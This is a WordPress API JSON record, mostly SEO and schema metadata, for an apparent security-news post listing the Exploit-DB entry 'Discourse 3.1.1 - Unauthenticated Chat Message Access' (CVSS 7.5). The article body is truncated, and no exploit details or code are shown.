EDB-ID:52375 Type exploitdb Published 2025-07-22T00:00:00 Modified 2025-07-22T00:00:00 CVSS Information CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,40,15,13,7,11,5],"class_list":["post-8647","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Discourse 3.1.1 - Unauthenticated Chat Message Access - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=8647\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Discourse 3.1.1 - Unauthenticated Chat Message Access - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access Exploit ID EDB-ID:52375 Type exploitdb Published 2025-07-22T00:00:00 Modified 2025-07-22T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=8647\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-22T05:49:20+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8647#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8647\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access\",\"datePublished\":\"2025-07-22T05:49:20+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8647\"},\"wordCount\":688,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=8647#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8647\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8647\",\"name\":\"Discourse 3.1.1 - Unauthenticated Chat Message Access - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-07-22T05:49:20+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8647#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=8647\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8647#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Discourse 3.1.1 - Unauthenticated Chat Message Access - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=8647","og_locale":"en_US","og_type":"article","og_title":"Discourse 3.1.1 - Unauthenticated Chat Message Access - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access Exploit ID EDB-ID:52375 Type exploitdb Published 2025-07-22T00:00:00 Modified 2025-07-22T00:00:00 CVSS Information CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=8647","og_site_name":"zero redgem","article_published_time":"2025-07-22T05:49:20+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=8647#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=8647"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access","datePublished":"2025-07-22T05:49:20+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=8647"},"wordCount":688,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=8647#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=8647","url":"https:\/\/zero.redgem.net\/?p=8647","name":"Discourse 3.1.1 - Unauthenticated Chat Message Access - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-07-22T05:49:20+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=8647#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=8647"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=8647#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/8647","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8647"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/8647\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8647"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8647"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8647"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}